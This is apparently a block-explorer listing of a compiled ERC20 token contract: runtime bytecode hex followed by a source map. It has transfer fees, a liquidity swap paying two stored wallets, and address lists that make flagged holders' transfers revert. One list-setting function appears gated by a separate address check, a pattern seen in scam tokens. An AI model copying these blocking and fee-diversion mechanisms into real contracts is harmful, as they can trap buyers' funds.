260200160002060009054906101000a900460ff16158015612c825750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612ccd57601b54821115612ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc3906144d7565b60405180910390fd5b5b6000612cd830611cc3565b90506000601d548210159050808015612cfe5750601f60149054906101000a900460ff16155b8015612d545750600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612d6c5750601f60159054906101000a900460ff165b15612d9657601f60169054906101000a900460ff1615612d8c57601d5491505b612d958261334d565b5b612d9f8661353e565b15612e3a57612df684600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130f790919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612edd5750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612ef157612eec878787613581565b612ef3565b845b9050601f60179054906101000a900460ff168015612f5b5750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f8a57601c54612f7e82612f7089611cc3565b6128a590919063ffffffff16565b1115612f8957600080fd5b5b612fdc81600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a590919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161307c9190614577565b60405180910390a3600193505050505b9392505050565b60008383111582906130db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130d29190614455565b60405180910390fd5b50600083856130ea919061476d565b9050809150509392505050565b600061313983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613093565b905092915050565b60008173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614905092915050565b6000613205826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130939092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061329a82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a590919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161333a9190614577565b60405180910390a3600190509392505050565b6001601f60146101000a81548160ff02191690831515021790555060006133a6600261339860195461338a6014548761385190919063ffffffff16565b6138cc90919063ffffffff16565b6138cc90919063ffffffff16565b905060006133bd82846130f790919063ffffffff16565b90506133c881613916565b600047905060006133f96133e860026014546138cc90919063ffffffff16565b6019546130f790919063ffffffff16565b9050600061343760026134298461341b6014548861385190919063ffffffff16565b6138cc90919063ffffffff16565b6138cc90919063ffffffff16565b90506000613462836134546016548761385190919063ffffffff16565b6138cc90919063ffffffff16565b9050600061348b8261347d85886130f790919063ffffffff16565b6130f790919063ffffffff16565b905060008111156134c3576134c2600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613ba1565b5b60008211156134f9576134f8600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613ba1565b5b6000831180156135095750600087115b15613519576135188784613bec565b5b505050505050506000601f60146101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff16613562600154613ce0565b73ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60008060009050600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661363157600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561363057600080fd5b5b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156136b2576136ab606461369d6017548661385190919063ffffffff16565b6138cc90919063ffffffff16565b9050613730565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561372f5761372c606461371e6018548661385190919063ffffffff16565b6138cc90919063ffffffff16565b90505b5b60008111156138345761378b81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a590919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161382b9190614577565b60405180910390a35b61384781846130f790919063ffffffff16565b9150509392505050565b60008083141561386457600090506138c6565b600082846138729190614713565b905082848261388191906146e2565b146138c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138b8906144f7565b60405180910390fd5b809150505b92915050565b600061390e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613cf2565b905092915050565b6000600267ffffffffffffffff811115613933576139326149ba565b5b6040519080825280602002602001820160405280156139615781602001602082028036833780820191505090505b50905030816000815181106139795761397861498b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613a1b57600080fd5b505afa158015613a2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613a539190613e60565b81600181518110613a6757613a6661498b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613ace30601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461290b565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613b329594939291906145c2565b600060405180830381600087803b158015613b4c57600080fd5b505af1158015613b60573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613b95929190614592565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613be7573d6000803e3d6000fd5b505050565b613c1930601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461290b565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613c65611e9e565b426040518863ffffffff1660e01b8152600401613c87969594939291906143be565b6060604051808303818588803b158015613ca057600080fd5b505af1158015613cb4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613cd991906140cd565b5050505050565b6000613ceb82613d55565b9050919050565b60008083118290613d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613d309190614455565b60405180910390fd5b5060008385613d4891906146e2565b9050809150509392505050565b6000819050919050565b600081359050613d6e81614c3f565b92915050565b600081519050613d8381614c3f565b92915050565b60008083601f840112613d9f57613d9e6149ee565b5b8235905067ffffffffffffffff811115613dbc57613dbb6149e9565b5b602083019150836020820283011115613dd857613dd76149f3565b5b9250929050565b600081359050613dee81614c56565b92915050565b600081359050613e0381614c6d565b92915050565b600081519050613e1881614c6d565b92915050565b600081359050613e2d81614c84565b92915050565b600060208284031215613e4957613e486149fd565b5b6000613e5784828501613d5f565b91505092915050565b600060208284031215613e7657613e756149fd565b5b6000613e8484828501613d74565b91505092915050565b60008060408385031215613ea457613ea36149fd565b5b6000613eb285828601613d5f565b9250506020613ec385828601613d5f565b9150509250929050565b600080600060608486031215613ee657613ee56149fd565b5b6000613ef486828701613d5f565b9350506020613f0586828701613d5f565b9250506040613f1686828701613df4565b9150509250925092565b60008060408385031215613f3757613f366149fd565b5b6000613f4585828601613d5f565b9250506020613f5685828601613df4565b9150509250929050565b600080600060408486031215613f7957613f786149fd565b5b600084013567ffffffffffffffff811115613f9757613f966149f8565b5b613fa386828701613d89565b93509350506020613fb686828701613ddf565b9150509250925092565b600080600060408486031215613fd957613fd86149fd565b5b600084013567ffffffffffffffff811115613ff757613ff66149f8565b5b61400386828701613d89565b9350935050602061401686828701613e1e565b9150509250925092565b600060208284031215614036576140356149fd565b5b600061404484828501613ddf565b91505092915050565b600060208284031215614063576140626149fd565b5b600061407184828501613df4565b91505092915050565b600080600060608486031215614093576140926149fd565b5b60006140a186828701613df4565b93505060206140b286828701613df4565b92505060406140c386828701613df4565b9150509250925092565b6000806000606084860312156140e6576140e56149fd565b5b60006140f486828701613e09565b935050602061410586828701613e09565b925050604061411686828701613e09565b9150509250925092565b600061412c8383614147565b60208301905092915050565b614141816147b3565b82525050565b614150816147a1565b82525050565b61415f816147a1565b82525050565b600061417082614647565b61417a818561466a565b935061418583614637565b8060005b838110156141b657815161419d8882614120565b97506141a88361465d565b925050600181019050614189565b5085935050505092915050565b6141cc816147c5565b82525050565b6141db81614808565b82525050565b6141ea8161481a565b82525050565b60006141fb82614652565b614205818561467b565b9350614215818560208601614850565b61421e81614a02565b840191505092915050565b600061423660238361467b565b915061424182614a13565b604082019050919050565b600061425960228361467b565b915061426482614a62565b604082019050919050565b600061427c601b8361467b565b915061428782614ab1565b602082019050919050565b600061429f60288361467b565b91506142aa82614ada565b604082019050919050565b60006142c260218361467b565b91506142cd82614b29565b604082019050919050565b60006142e560208361467b565b91506142f082614b78565b602082019050919050565b600061430860258361467b565b915061431382614ba1565b604082019050919050565b600061432b60248361467b565b915061433682614bf0565b604082019050919050565b61434a816147f1565b82525050565b614359816147fb565b82525050565b60006020820190506143746000830184614156565b92915050565b600060208201905061438f6000830184614138565b92915050565b60006040820190506143aa6000830185614156565b6143b76020830184614156565b9392505050565b600060c0820190506143d36000830189614156565b6143e06020830188614341565b6143ed60408301876141e1565b6143fa60608301866141e1565b6144076080830185614156565b61441460a0830184614341565b979650505050505050565b600060208201905061443460008301846141c3565b92915050565b600060208201905061444f60008301846141d2565b92915050565b6000602082019050818103600083015261446f81846141f0565b905092915050565b6000602082019050818103600083015261449081614229565b9050919050565b600060208201905081810360008301526144b08161424c565b9050919050565b600060208201905081810360008301526144d08161426f565b9050919050565b600060208201905081810360008301526144f081614292565b9050919050565b60006020820190508181036000830152614510816142b5565b9050919050565b60006020820190508181036000830152614530816142d8565b9050919050565b60006020820190508181036000830152614550816142fb565b9050919050565b600060208201905081810360008301526145708161431e565b9050919050565b600060208201905061458c6000830184614341565b92915050565b60006040820190506145a76000830185614341565b81810360208301526145b98184614165565b90509392505050565b600060a0820190506145d76000830188614341565b6145e460208301876141e1565b81810360408301526145f68186614165565b90506146056060830185614156565b6146126080830184614341565b9695505050505050565b60006020820190506146316000830184614350565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614697826147f1565b91506146a2836147f1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156146d7576146d66148fe565b5b828201905092915050565b60006146ed826147f1565b91506146f8836147f1565b9250826147085761470761492d565b5b828204905092915050565b600061471e826147f1565b9150614729836147f1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614762576147616148fe565b5b828202905092915050565b6000614778826147f1565b9150614783836147f1565b925082821015614796576147956148fe565b5b828203905092915050565b60006147ac826147d1565b9050919050565b60006147be826147d1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006148138261482c565b9050919050565b6000614825826147f1565b9050919050565b60006148378261483e565b9050919050565b6000614849826147d1565b9050919050565b60005b8381101561486e578082015181840152602081019050614853565b8381111561487d576000848401525b50505050565b6000600282049050600182168061489b57607f821691505b602082108114156148af576148ae61495c565b5b50919050565b60006148c0826147f1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156148f3576148f26148fe565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614c48816147a1565b8114614c5357600080fd5b50565b614c5f816147c5565b8114614c6a57600080fd5b50565b614c76816147f1565b8114614c8157600080fd5b50565b614c8d816147fb565b8114614c9857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122056eead35f36f03f9ade9797c058c2ce58dea95315ef5d8aefaed4652de4c767f64736f6c63430008070033
Deployed Bytecode Sourcemap
4228:15011:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8146:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9434:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4546:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5902:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8423:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14033:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11543:113;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4593:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12712:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12258:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8332:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12132:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8803:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12000:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4967:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6017:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5361:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12986:726;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5402:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11664:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15943:263;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8531:113;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9948:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5694:62;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5764:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5526:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5235:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4912:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5019:36;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2941:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5062:37;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8237:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4513:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9306:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5571:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10510:336;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9029:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12575:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5443:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13858:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11177:358;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5192:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12395:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5150:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5950:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5278:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4853:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5321:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10174:328;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6064:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13720:95;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5108:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8652:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5482:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4286:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11890:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4796:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3155:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6116:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8146:83;8183:13;8216:5;8209:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8146:83;:::o;9434:161::-;9509:4;9526:39;9535:12;:10;:12::i;:::-;9549:7;9558:6;9526:8;:39::i;:::-;9583:4;9576:11;;9434:161;;;;:::o;4546:40::-;;;;;;;;;;;;;:::o;5902:41::-;;;;;;;;;;;;;:::o;8423:100::-;8476:7;8503:12;;8496:19;;8423:100;:::o;14033:313::-;14131:4;14148:36;14158:6;14166:9;14177:6;14148:9;:36::i;:::-;;14195:121;14204:6;14212:12;:10;:12::i;:::-;14226:89;14264:6;14226:89;;;;;;;;;;;;;;;;;:11;:19;14238:6;14226:19;;;;;;;;;;;;;;;:33;14246:12;:10;:12::i;:::-;14226:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;14195:8;:121::i;:::-;14334:4;14327:11;;14033:313;;;;;:::o;11543:113::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11640:8:::1;11621:16;;:27;;;;;;;;;;;;;;;;;;11543:113:::0;:::o;4593:81::-;;;:::o;12712:128::-;12765:7;12792:40;12809:22;12819:11;12809:9;:22::i;:::-;12792:12;;:16;;:40;;;;:::i;:::-;12785:47;;12712:128;:::o;12258:129::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12368:10:::1;12340:17;;:39;;;;;;;;;;;;;;;;;;12258:129:::0;:::o;8332:83::-;8373:5;8398:9;;;;;;;;;;;8391:16;;8332:83;:::o;12132:118::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12231:10:::1;12217:3;;:25;;;;;;;;;;;;;;;;;;12132:118:::0;:::o;8803:218::-;8891:4;8908:83;8917:12;:10;:12::i;:::-;8931:7;8940:50;8979:10;8940:11;:25;8952:12;:10;:12::i;:::-;8940:25;;;;;;;;;;;;;;;:34;8966:7;8940:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;8908:8;:83::i;:::-;9009:4;9002:11;;8803:218;;;;:::o;12000:124::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12108:8:::1;12082:23;:34;;;;12000:124:::0;:::o;4967:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;6017:40::-;;;;;;;;;;;;;:::o;5361:34::-;;;;:::o;12986:726::-;13066:22;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13103:35:::1;13160:16;13103:74;;13226:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13208:53;;;13270:4;13277:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13208:93;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13191:110;;13343:1;13317:28;;:14;:28;;;13314:200;;;13406:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13388:74;;;13471:4;13478:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13388:114;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13371:131;;13314:200;13540:14;13526:11;;:28;;;;;;;;;;;;;;;;;;13583:16;13565:15;;:34;;;;;;;;;;;;;;;;;;13657:4;13613:19;:41;13641:11;;;;;;;;;;;13613:41;;;;;;;;;;;;;;;;:48;;;;;;;;;;;;;;;;;;13700:4;13672:3;:25;13684:11;;;;;;;;;;;13672:25;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;13090:622;12986:726:::0;;;:::o;5402:34::-;;;;:::o;11664:218::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11770:9:::1;11766:109;11789:6;;:13;;11785:1;:17;11766:109;;;11857:6;11824:19;:30;11844:6;;11851:1;11844:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11824:30;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;11804:3;;;;;:::i;:::-;;;;11766:109;;;;11664:218:::0;;;:::o;15943:263::-;16012:20;16017:3;;;;;;;;;;;16021:10;16012:4;:20::i;:::-;16009:190;;;16049:9;16044:154;16064:3;;:10;;16060:1;:14;16044:154;;;16108:1;16100:4;:9;;;16096:91;;;16126:4;16111;:12;16116:3;;16120:1;16116:6;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;16111:12;;;;;;;;;;;;;;;;:19;;;;;;;;;;;;;;;;;;16096:91;;;16162:1;16154:4;:9;;;16151:36;;;16180:5;16165:4;:12;16170:3;;16174:1;16170:6;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;16165:12;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;16151:36;16096:91;16076:3;;;;:::i;:::-;;;16044:154;;;;16009:190;15943:263;;;:::o;8531:113::-;8597:7;8624:3;:12;8628:7;8624:12;;;;;;;;;;;;;;;;8617:19;;8531:113;;;:::o;9948:218::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10052:9:::1;10048:111;10071:7;;:14;;10067:1;:18;10048:111;;;10139:8;10107:17;:29;10125:7;;10133:1;10125:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10107:29;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;10087:3;;;;;:::i;:::-;;;;10048:111;;;;9948:218:::0;;;:::o;5694:62::-;;;;:::o;5764:60::-;;;;:::o;5526:38::-;;;;:::o;5235:36::-;;;;:::o;4912:48::-;;;;;;;;;;;;;;;;;;;;;;:::o;5019:36::-;;;;;;;;;;;;;;;;;;;;;;:::o;2941:79::-;2979:7;3006:6;;;;;;;;;;;2999:13;;2941:79;:::o;5062:37::-;;;;;;;;;;;;;;;;;;;;;;:::o;8237:87::-;8276:13;8309:7;8302:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8237:87;:::o;4513:26::-;;;;;;;;;;;;;:::o;9306:120::-;9368:7;9395:23;;9388:30;;9306:120;:::o;5571:44::-;;;;:::o;10510:336::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10649:15:::1;10629:17;:35;;;;10695:15;10675:17;:35;;;;10736:10;10721:12;:25;;;;10780:58;10825:12;;10780:40;10802:17;;10780;;:21;;:40;;;;:::i;:::-;:44;;:58;;;;:::i;:::-;10759:18;:79;;;;10510:336: